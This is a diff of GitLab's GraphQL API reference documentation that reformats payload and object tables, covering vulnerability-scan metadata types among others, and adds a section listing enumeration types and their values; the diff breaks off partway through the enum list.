+Autogenerated return type of TodosMarkAllDone.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `todos` | Todo! => Array | Updated todos |
| `updatedIds` **{warning-solid}** | ID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 |
-## ToggleAwardEmojiPayload
+### ToggleAwardEmojiPayload
-Autogenerated return type of ToggleAwardEmoji
+Autogenerated return type of ToggleAwardEmoji.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `toggledOn` | Boolean! | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. |
-## Tree
+### Tree
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `lastCommit` | Commit | Last commit for the tree |
-## TreeEntry
+### TreeEntry
-Represents a directory
+Represents a directory.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `flatPath` | String! | Flat path of the entry |
| `id` | ID! | ID of the entry |
| `name` | String! | Name of the entry |
@@ -2321,122 +2511,122 @@ Represents a directory
| `webPath` | String | Web path for the tree entry (directory) |
| `webUrl` | String | Web URL for the tree entry (directory) |
-## UpdateAlertStatusPayload
+### UpdateAlertStatusPayload
-Autogenerated return type of UpdateAlertStatus
+Autogenerated return type of UpdateAlertStatus.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `alert` | AlertManagementAlert | The alert after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue created after mutation |
| `todo` | Todo | The todo after mutation |
-## UpdateBoardListPayload
+### UpdateBoardListPayload
-Autogenerated return type of UpdateBoardList
+Autogenerated return type of UpdateBoardList.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `list` | BoardList | Mutated list |
-## UpdateBoardPayload
+### UpdateBoardPayload
-Autogenerated return type of UpdateBoard
+Autogenerated return type of UpdateBoard.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `board` | Board | The board after mutation. |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## UpdateContainerExpirationPolicyPayload
+### UpdateContainerExpirationPolicyPayload
-Autogenerated return type of UpdateContainerExpirationPolicy
+Autogenerated return type of UpdateContainerExpirationPolicy.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## UpdateEpicPayload
+### UpdateEpicPayload
-Autogenerated return type of UpdateEpic
+Autogenerated return type of UpdateEpic.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `epic` | Epic | The epic after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## UpdateImageDiffNotePayload
+### UpdateImageDiffNotePayload
-Autogenerated return type of UpdateImageDiffNote
+Autogenerated return type of UpdateImageDiffNote.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## UpdateIssuePayload
+### UpdateIssuePayload
-Autogenerated return type of UpdateIssue
+Autogenerated return type of UpdateIssue.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue after mutation |
-## UpdateIterationPayload
+### UpdateIterationPayload
-Autogenerated return type of UpdateIteration
+Autogenerated return type of UpdateIteration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `iteration` | Iteration | The updated iteration |
-## UpdateNotePayload
+### UpdateNotePayload
-Autogenerated return type of UpdateNote
+Autogenerated return type of UpdateNote.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## UpdateRequirementPayload
+### UpdateRequirementPayload
-Autogenerated return type of UpdateRequirement
+Autogenerated return type of UpdateRequirement.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `requirement` | Requirement | The requirement after mutation |
-## UpdateSnippetPayload
+### UpdateSnippetPayload
-Autogenerated return type of UpdateSnippet
+Autogenerated return type of UpdateSnippet.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `snippet` | Snippet | The snippet after mutation |
-## User
+### User
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `avatarUrl` | String | URL of the user's avatar |
| `email` | String | User email |
| `id` | ID! | ID of the user |
@@ -2448,26 +2638,26 @@ Autogenerated return type of UpdateSnippet
| `webPath` | String! | Web path of the user |
| `webUrl` | String! | Web URL of the user |
-## UserPermissions
+### UserPermissions
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createSnippet` | Boolean! | Indicates the user can perform `create_snippet` on this resource |
-## UserStatus
+### UserStatus
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `emoji` | String | String representation of emoji |
| `message` | String | User status message |
| `messageHtml` | String | HTML of the user status message |
-## VulnerabilitiesCountByDay
+### VulnerabilitiesCountByDay
-Represents the count of vulnerabilities by severity on a particular day
+Represents the count of vulnerabilities by severity on a particular day.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `critical` | Int! | Total number of vulnerabilities on a particular day with critical severity |
| `date` | ISO8601Date! | Date for the count |
| `high` | Int! | Total number of vulnerabilities on a particular day with high severity |
@@ -2477,23 +2667,24 @@ Represents the count of vulnerabilities by severity on a particular day
| `total` | Int! | Total number of vulnerabilities on a particular day |
| `unknown` | Int! | Total number of vulnerabilities on a particular day with unknown severity |
-## VulnerabilitiesCountByDayAndSeverity
+### VulnerabilitiesCountByDayAndSeverity
-Represents the number of vulnerabilities for a particular severity on a particular day
+Represents the number of vulnerabilities for a particular severity on a particular day.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int | Number of vulnerabilities |
| `day` | ISO8601Date | Date for the count |
| `severity` | VulnerabilitySeverity | Severity of the counted vulnerabilities |
-## Vulnerability
+### Vulnerability
Represents a vulnerability.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `description` | String | Description of the vulnerability |
+| `detectedAt` | Time! | Timestamp of when the vulnerability was first detected |
| `id` | ID! | GraphQL ID of the vulnerability |
| `identifiers` | VulnerabilityIdentifier! => Array | Identifiers of the vulnerability. |
| `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability |
@@ -2509,99 +2700,99 @@ Represents a vulnerability.
| `userPermissions` | VulnerabilityPermissions! | Permissions for the current user on the resource |
| `vulnerabilityPath` | String | URL to the vulnerability's details page |
-## VulnerabilityIdentifier
+### VulnerabilityIdentifier
Represents a vulnerability identifier.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `externalId` | String | External ID of the vulnerability identifier |
| `externalType` | String | External type of the vulnerability identifier |
| `name` | String | Name of the vulnerability identifier |
| `url` | String | URL of the vulnerability identifier |
-## VulnerabilityIssueLink
+### VulnerabilityIssueLink
Represents an issue link of a vulnerability.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `id` | ID! | GraphQL ID of the vulnerability |
| `issue` | Issue! | The issue attached to issue link |
| `linkType` | VulnerabilityIssueLinkType! | Type of the issue link |
-## VulnerabilityLocationContainerScanning
+### VulnerabilityLocationContainerScanning
-Represents the location of a vulnerability found by a container security scan
+Represents the location of a vulnerability found by a container security scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `dependency` | VulnerableDependency | Dependency containing the vulnerability |
| `image` | String | Name of the vulnerable container image |
| `operatingSystem` | String | Operating system that runs on the vulnerable container image |
-## VulnerabilityLocationCoverageFuzzing
+### VulnerabilityLocationCoverageFuzzing
-Represents the location of a vulnerability found by a Coverage Fuzzing scan
+Represents the location of a vulnerability found by a Coverage Fuzzing scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `endLine` | String | Number of the last relevant line in the vulnerable file |
| `file` | String | Path to the vulnerable file |
| `startLine` | String | Number of the first relevant line in the vulnerable file |
| `vulnerableClass` | String | Class containing the vulnerability |
| `vulnerableMethod` | String | Method containing the vulnerability |
-## VulnerabilityLocationDast
+### VulnerabilityLocationDast
-Represents the location of a vulnerability found by a DAST scan
+Represents the location of a vulnerability found by a DAST scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `hostname` | String | Domain name of the vulnerable request |
| `param` | String | Query parameter for the URL on which the vulnerability occurred |
| `path` | String | URL path and query string of the vulnerable request |
| `requestMethod` | String | HTTP method of the vulnerable request |
-## VulnerabilityLocationDependencyScanning
+### VulnerabilityLocationDependencyScanning
-Represents the location of a vulnerability found by a dependency security scan
+Represents the location of a vulnerability found by a dependency security scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `dependency` | VulnerableDependency | Dependency containing the vulnerability |
| `file` | String | Path to the vulnerable file |
-## VulnerabilityLocationSast
+### VulnerabilityLocationSast
-Represents the location of a vulnerability found by a SAST scan
+Represents the location of a vulnerability found by a SAST scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `endLine` | String | Number of the last relevant line in the vulnerable file |
| `file` | String | Path to the vulnerable file |
| `startLine` | String | Number of the first relevant line in the vulnerable file |
| `vulnerableClass` | String | Class containing the vulnerability |
| `vulnerableMethod` | String | Method containing the vulnerability |
-## VulnerabilityLocationSecretDetection
+### VulnerabilityLocationSecretDetection
-Represents the location of a vulnerability found by a secret detection scan
+Represents the location of a vulnerability found by a secret detection scan.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `endLine` | String | Number of the last relevant line in the vulnerable file |
| `file` | String | Path to the vulnerable file |
| `startLine` | String | Number of the first relevant line in the vulnerable file |
| `vulnerableClass` | String | Class containing the vulnerability |
| `vulnerableMethod` | String | Method containing the vulnerability |
-## VulnerabilityPermissions
+### VulnerabilityPermissions
-Check permissions for the current user on a vulnerability
+Check permissions for the current user on a vulnerability.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `adminVulnerability` | Boolean! | Indicates the user can perform `admin_vulnerability` on this resource |
| `adminVulnerabilityIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_issue_link` on this resource |
| `createVulnerability` | Boolean! | Indicates the user can perform `create_vulnerability` on this resource |
@@ -2611,23 +2802,33 @@ Check permissions for the current user on a vulnerability
| `readVulnerabilityFeedback` | Boolean! | Indicates the user can perform `read_vulnerability_feedback` on this resource |
| `updateVulnerabilityFeedback` | Boolean! | Indicates the user can perform `update_vulnerability_feedback` on this resource |
-## VulnerabilityScanner
+### VulnerabilityResolvePayload
+
+Autogenerated return type of VulnerabilityResolve.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `vulnerability` | Vulnerability | The vulnerability after state change |
+
+### VulnerabilityScanner
Represents a vulnerability scanner.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `externalId` | String | External ID of the vulnerability scanner |
| `name` | String | Name of the vulnerability scanner |
| `reportType` | VulnerabilityReportType | Type of the vulnerability report |
| `vendor` | String | Vendor of the vulnerability scanner |
-## VulnerabilitySeveritiesCount
+### VulnerabilitySeveritiesCount
-Represents vulnerability counts by severity
+Represents vulnerability counts by severity.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `critical` | Int | Number of vulnerabilities of CRITICAL severity of the project |
| `high` | Int | Number of vulnerabilities of HIGH severity of the project |
| `info` | Int | Number of vulnerabilities of INFO severity of the project |
@@ -2635,28 +2836,738 @@ Represents vulnerability counts by severity
| `medium` | Int | Number of vulnerabilities of MEDIUM severity of the project |
| `unknown` | Int | Number of vulnerabilities of UNKNOWN severity of the project |
-## VulnerableDependency
+### VulnerableDependency
-Represents a vulnerable dependency. Used in vulnerability location data
+Represents a vulnerable dependency. Used in vulnerability location data.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `package` | VulnerablePackage | The package associated with the vulnerable dependency |
| `version` | String | The version of the vulnerable dependency |
-## VulnerablePackage
+### VulnerablePackage
-Represents a vulnerable package. Used in vulnerability dependency data
+Represents a vulnerable package. Used in vulnerability dependency data.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `name` | String | The name of the vulnerable package |
-## VulnerableProjectsByGrade
+### VulnerableProjectsByGrade
-Represents vulnerability letter grades with associated projects
+Represents vulnerability letter grades with associated projects.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `count` | Int! | Number of projects within this grade |
| `grade` | VulnerabilityGrade! | Grade based on the highest severity vulnerability present |
+
+## Enumeration types
+
+Also called _Enums_, enumeration types are a special kind of scalar that
+is restricted to a particular set of allowed values.
+
+For more information, see
+[Enumeration Types](https://graphql.org/learn/schema/#enumeration-types)
+on `graphql.org`.
+
+### AccessLevelEnum
+
+Access level to a resource.
+
+| Value | Description |
+| ----- | ----------- |
+| `DEVELOPER` | |
+| `GUEST` | |
+| `MAINTAINER` | |
+| `NO_ACCESS` | |
+| `OWNER` | |
+| `REPORTER` | |
+
+### AlertManagementAlertSort
+
+Values for sorting alerts.
+
+| Value | Description |
+| ----- | ----------- |
+| `CREATED_TIME_ASC` | Created time by ascending order |
+| `CREATED_TIME_DESC` | Created time by descending order |
+| `ENDED_AT_ASC` | End time by ascending order |
+| `ENDED_AT_DESC` | End time by descending order |
+| `EVENT_COUNT_ASC` | Events count by ascending order |
+| `EVENT_COUNT_DESC` | Events count by descending order |
+| `SEVERITY_ASC` | Severity from less critical to more critical |
+| `SEVERITY_DESC` | Severity from more critical to less critical |
+| `STARTED_AT_ASC` | Start time by ascending order |
+| `STARTED_AT_DESC` | Start time by descending order |
+| `STATUS_ASC` | Status by order: Ignored > Resolved > Acknowledged > Triggered |
+| `STATUS_DESC` | Status by order: Triggered > Acknowledged > Resolved > Ignored |
+| `UPDATED_TIME_ASC` | Created time by ascending order |
+| `UPDATED_TIME_DESC` | Created time by descending order |
+| `created_asc` | Created at ascending order |
+| `created_desc` | Created at descending order |
+| `updated_asc` | Updated at ascending order |
+| `updated_desc` | Updated at descending order |
+
+### AlertManagementSeverity
+
+Alert severity values.
+
+| Value | Description |
+| ----- | ----------- |
+| `CRITICAL` | Critical severity |
+| `HIGH` | High severity |
+| `INFO` | Info severity |
+| `LOW` | Low severity |
+| `MEDIUM` | Medium severity |
+| `UNKNOWN` | Unknown severity |
+
+### AlertManagementStatus
+
+Alert status values.
+
+| Value | Description |
+| ----- | ----------- |
+| `ACKNOWLEDGED` | Acknowledged status |
+| `IGNORED` | Ignored status |
+| `RESOLVED` | Resolved status |
+| `TRIGGERED` | Triggered status |
+
+### BlobViewersType
+
+Types of blob viewers.
+
+| Value | Description |
+| ----- | ----------- |
+| `auxiliary` | |
+| `rich` | |
+| `simple` | |
+
+### CommitActionMode
+
+Mode of a commit action.
+
+| Value | Description |
+| ----- | ----------- |
+| `CHMOD` | Chmod command |
+| `CREATE` | Create command |
+| `DELETE` | Delete command |
+| `MOVE` | Move command |
+| `UPDATE` | Update command |
+
+### CommitEncoding
+
+| Value | Description |
+| ----- | ----------- |
+| `BASE64` | Base64 encoding |
+| `TEXT` | Text encoding |
+
+### ContainerExpirationPolicyCadenceEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `EVERY_DAY` | Every day |
+| `EVERY_MONTH` | Every month |
+| `EVERY_THREE_MONTHS` | Every three months |
+| `EVERY_TWO_WEEKS` | Every two weeks |
+| `EVERY_WEEK` | Every week |
+
+### ContainerExpirationPolicyKeepEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `FIFTY_TAGS` | 50 tags per image name |
+| `FIVE_TAGS` | 5 tags per image name |
+| `ONE_HUNDRED_TAGS` | 100 tags per image name |
+| `ONE_TAG` | 1 tag per image name |
+| `TEN_TAGS` | 10 tags per image name |
+| `TWENTY_FIVE_TAGS` | 25 tags per image name |
+
+### ContainerExpirationPolicyOlderThanEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `FOURTEEN_DAYS` | 14 days until tags are automatically removed |
+| `NINETY_DAYS` | 90 days until tags are automatically removed |
+| `SEVEN_DAYS` | 7 days until tags are automatically removed |
+| `THIRTY_DAYS` | 30 days until tags are automatically removed |
+
+### DastScanTypeEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `PASSIVE` | Passive DAST scan. This scan will not make active attacks against the target site. |
+
+### DastSiteProfileValidationStatusEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `FAILED_VALIDATION` | Site validation process finished but failed |
+| `INPROGRESS_VALIDATION` | Site validation process is in progress |
+| `PASSED_VALIDATION` | Site validation process finished successfully |
+| `PENDING_VALIDATION` | Site validation process has not started |
+
+### DesignVersionEvent
+
+Mutation event of a design within a version.
+
+| Value | Description |
+| ----- | ----------- |
+| `CREATION` | A creation event |
+| `DELETION` | A deletion event |
+| `MODIFICATION` | A modification event |
+| `NONE` | No change |
+
+### DiffPositionType
+
+Type of file the position refers to.
+
+| Value | Description |
+| ----- | ----------- |
+| `image` | |
+| `text` | |
+
+### EntryType
+
+Type of a tree entry.
+
+| Value | Description |
+| ----- | ----------- |
+| `blob` | |
+| `commit` | |
+| `tree` | |
+
+### EpicSort
+
+Roadmap sort values.
+
+| Value | Description |
+| ----- | ----------- |
+| `end_date_asc` | End date at ascending order |
+| `end_date_desc` | End date at descending order |
+| `start_date_asc` | Start date at ascending order |
+| `start_date_desc` | Start date at descending order |
+
+### EpicState
+
+State of an epic.
+
+| Value | Description |
+| ----- | ----------- |
+| `all` | |
+| `closed` | |
+| `opened` | |
+
+### EpicStateEvent
+
+State event of an epic.
+
+| Value | Description |
+| ----- | ----------- |
+| `CLOSE` | Close the epic |
+| `REOPEN` | Reopen the epic |
+
+### EpicWildcardId
+
+Epic ID wildcard values.
+
+| Value | Description |
+| ----- | ----------- |
+| `ANY` | Any epic is assigned |
+| `NONE` | No epic is assigned |
+
+### HealthStatus
+
+Health status of an issue or epic.
+
+| Value | Description |
+| ----- | ----------- |
+| `atRisk` | |
+| `needsAttention` | |
+| `onTrack` | |
+
+### IssuableSeverity
+
+Incident severity.
+
+| Value | Description |
+| ----- | ----------- |
+| `CRITICAL` | Critical severity |
+| `HIGH` | High severity |
+| `LOW` | Low severity |
+| `MEDIUM` | Medium severity |
+| `UNKNOWN` | Unknown severity |
+
+### IssuableState
+
+State of a GitLab issue or merge request.
+
+| Value | Description |
+| ----- | ----------- |
+| `all` | |
+| `closed` | |
+| `locked` | |
+| `opened` | |
+
+### IssueSort
+
+Values for sorting issues.
+
+| Value | Description |
+| ----- | ----------- |
+| `DUE_DATE_ASC` | Due date by ascending order |
+| `DUE_DATE_DESC` | Due date by descending order |
+| `LABEL_PRIORITY_ASC` | Label priority by ascending order |
+| `LABEL_PRIORITY_DESC` | Label priority by descending order |
+| `MILESTONE_DUE_ASC` | Milestone due date by ascending order |
+| `MILESTONE_DUE_DESC` | Milestone due date by descending order |
+| `PRIORITY_ASC` | Priority by ascending order |
+| `PRIORITY_DESC` | Priority by descending order |
+| `RELATIVE_POSITION_ASC` | Relative position by ascending order |
+| `WEIGHT_ASC` | Weight by ascending order |
+| `WEIGHT_DESC` | Weight by descending order |
+| `created_asc` | Created at ascending order |
+| `created_desc` | Created at descending order |
+| `updated_asc` | Updated at ascending order |
+| `updated_desc` | Updated at descending order |
+
+### IssueState
+
+State of a GitLab issue.
+
+| Value | Description |
+| ----- | ----------- |
+| `all` | |
+| `closed` | |
+| `locked` | |
+| `opened` | |
+
+### IssueType
+
+Issue type.
+
+| Value | Description |
+| ----- | ----------- |
+| `INCIDENT` | Incident issue type |
+| `ISSUE` | Issue issue type |
+| `TEST_CASE` | Test Case issue type |
+
+### IterationState
+
+State of a GitLab iteration.
+
+| Value | Description |
+| ----- | ----------- |
+| `all` | |
+| `closed` | |
+| `opened` | |
+| `started` | |
+| `upcoming` | |
+
+### ListLimitMetric
+
+List limit metric setting.
+
+| Value | Description |
+| ----- | ----------- |
+| `all_metrics` | |
+| `issue_count` | |
+| `issue_weights` | |
+
+### MeasurementIdentifier
+
+Possible identifier types for a measurement.
+
+| Value | Description |
+| ----- | ----------- |
+| `GROUPS` | Group count |
+| `ISSUES` | Issue count |
+| `MERGE_REQUESTS` | Merge request count |
+| `PIPELINES` | Pipeline count |
+| `PROJECTS` | Project count |
+| `USERS` | User count |
+
+### MergeRequestSort
+
+Values for sorting merge requests.
+
+| Value | Description |
+| ----- | ----------- |
+| `LABEL_PRIORITY_ASC` | Label priority by ascending order |
+| `LABEL_PRIORITY_DESC` | Label priority by descending order |
+| `MERGED_AT_ASC` | Merge time by ascending order |
+| `MERGED_AT_DESC` | Merge time by descending order |
+| `MILESTONE_DUE_ASC` | Milestone due date by ascending order |
+| `MILESTONE_DUE_DESC` | Milestone due date by descending order |
+| `PRIORITY_ASC` | Priority by ascending order |
+| `PRIORITY_DESC` | Priority by descending order |
+| `created_asc` | Created at ascending order |
+| `created_desc` | Created at descending order |
+| `updated_asc` | Updated at ascending order |
+| `updated_desc` | Updated at descending order |
+
+### MergeRequestState
+
+State of a GitLab merge request.
+
+| Value | Description |
+| ----- | ----------- |
+| `all` | |
+| `closed` | |
+| `locked` | |
+| `merged` | |
+| `opened` | |
+
+### MilestoneStateEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `active` | |
+| `closed` | |
+
+### MoveType
+
+The position to which the adjacent object should be moved.
+
+| Value | Description |
+| ----- | ----------- |
+| `after` | The adjacent object will be moved after the object that is being moved |
+| `before` | The adjacent object will be moved before the object that is being moved |
+
+### MutationOperationMode
+
+Different toggles for changing mutator behavior.
+
+| Value | Description |
+| ----- | ----------- |
+| `APPEND` | Performs an append operation |
+| `REMOVE` | Performs a removal operation |
+| `REPLACE` | Performs a replace operation |
+
+### NamespaceProjectSort
+
+Values for sorting projects.
+
+| Value | Description |
+| ----- | ----------- |
+| `SIMILARITY` | Most similar to the search query |
+
+### PackageTypeEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `COMPOSER` | Packages from the composer package manager |
+| `CONAN` | Packages from the conan package manager |
+| `GENERIC` | Packages from the generic package manager |
+| `MAVEN` | Packages from the maven package manager |
+| `NPM` | Packages from the npm package manager |
+| `NUGET` | Packages from the nuget package manager |
+| `PYPI` | Packages from the pypi package manager |
+
+### PipelineConfigSourceEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `AUTO_DEVOPS_SOURCE` | |
+| `BRIDGE_SOURCE` | |
+| `EXTERNAL_PROJECT_SOURCE` | |
+| `PARAMETER_SOURCE` | |
+| `REMOTE_SOURCE` | |
+| `REPOSITORY_SOURCE` | |
+| `UNKNOWN_SOURCE` | |
+| `WEBIDE_SOURCE` | |
+
+### PipelineStatusEnum
+
+| Value | Description |
+| ----- | ----------- |
+| `CANCELED` | |
+| `CREATED` | |
+| `FAILED` | |
+| `MANUAL` | |
+| `PENDING` | |
+| `PREPARING` | |
+| `RUNNING` | |
+| `SCHEDULED` | |
+| `SKIPPED` | |
+| `SUCCESS` | |
+| `WAITING_FOR_RESOURCE` | |
+
+### ProjectSettingEnum
+
+Names of compliance frameworks that can be assigned to a Project.
+
+| Value | Description |
+| ----- | ----------- |
+| `gdpr` | |
+| `hipaa` | |
+| `pci_dss` | |
+| `soc_2` | |
+| `sox` | |
+
+### RegistryState
+
+State of a Geo registry.
+
+| Value | Description |
+| ----- | ----------- |
+| `FAILED` | Registry that failed to sync |
+| `PENDING` | Registry waiting to be synced |
+| `STARTED` | Registry currently syncing |
+| `SYNCED` | Registry that is synced |
+
+### ReleaseAssetLinkType
+
+Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`.
+
+| Value | Description |
+| ----- | ----------- |
+| `IMAGE` | Image link type |
+| `OTHER` | Other link type |
+| `PACKAGE` | Package link type |
+| `RUNBOOK` | Runbook link type |
+
+### RequirementState
+
+State of a requirement.
+
+| Value | Description |
+| ----- | ----------- |
+| `ARCHIVED` | |
+| `OPENED` | |
+
+### SastUiComponentSize
+
+Size of UI component in SAST configuration page.
+
+| Value | Description |
+| ----- | ----------- |
+| `LARGE` | |
+| `MEDIUM` | |
+| `SMALL` | |
+
+### SecurityScannerType
+
+The type of the security scanner.
+
+| Value | Description |
+| ----- | ----------- |
+| `CONTAINER_SCANNING` | |
+| `COVERAGE_FUZZING` | |
+| `DAST` | |
+| `DEPENDENCY_SCANNING` | |
+| `SAST` | |
+| `SECRET_DETECTION` | |
+
+### SentryErrorStatus
+
+State of a Sentry error.
+
+| Value | Description |
+| ----- | ----------- |
+| `IGNORED` | Error has been ignored |
+| `RESOLVED` | Error has been resolved |
+| `RESOLVED_IN_NEXT_RELEASE` | Error has been ignored until next release |
+| `UNRESOLVED` | Error is unresolved |
+
+### ServiceType
+
+| Value | Description |
+| ----- | ----------- |
+| `ALERTS_SERVICE` | |
+| `ASANA_SERVICE` | |
+| `ASSEMBLA_SERVICE` | |
+| `BAMBOO_SERVICE` | |
+| `BUGZILLA_SERVICE` | |
+| `BUILDKITE_SERVICE` | |
+| `CAMPFIRE_SERVICE` | |
+| `CONFLUENCE_SERVICE` | |
+| `CUSTOM_ISSUE_TRACKER_SERVICE` | |
+| `DISCORD_SERVICE` | |
+| `DRONE_CI_SERVICE` | |
+| `EMAILS_ON_PUSH_SERVICE` | |
+| `EWM_SERVICE` | |
+| `EXTERNAL_WIKI_SERVICE` | |
+| `FLOWDOCK_SERVICE` | |
+| `GITHUB_SERVICE` | |
+| `HANGOUTS_CHAT_SERVICE` | |
+| `HIPCHAT_SERVICE` | |
+| `IRKER_SERVICE` | |
+| `JENKINS_SERVICE` | |
+| `JIRA_SERVICE` | |
+| `MATTERMOST_SERVICE` | |
+| `MATTERMOST_SLASH_COMMANDS_SERVICE` | |
+| `MICROSOFT_TEAMS_SERVICE` | |
+| `PACKAGIST_SERVICE` | |
+| `PIPELINES_EMAIL_SERVICE` | |
+| `PIVOTALTRACKER_SERVICE` | |
+| `PROMETHEUS_SERVICE` | |
+| `PUSHOVER_SERVICE` | |
+| `REDMINE_SERVICE` | |
+| `SLACK_SERVICE` | |
+| `SLACK_SLASH_COMMANDS_SERVICE` | |
+| `TEAMCITY_SERVICE` | |
+| `UNIFY_CIRCUIT_SERVICE` | |
+| `WEBEX_TEAMS_SERVICE` | |
+| `YOUTRACK_SERVICE` | |
+
+### SnippetBlobActionEnum
+
+Type of a snippet blob input action.
+
+| Value | Description |
+| ----- | ----------- |
+| `create` | |
+| `delete` | |
+| `move` | |
+| `update` | |
+
+### Sort
+
+Common sort values.
+
+| Value | Description |
+| ----- | ----------- |
+| `created_asc` | Created at ascending order |
+| `created_desc` | Created at descending order |
+| `updated_asc` | Updated at ascending order |
+| `updated_desc` | Updated at descending order |
+
+### TestReportState
+
+State of a test report.
+
+| Value | Description |
+| ----- | ----------- |
+| `FAILED` | |
+| `PASSED` | |
+
+### TodoActionEnum
+
+| Value | Description |
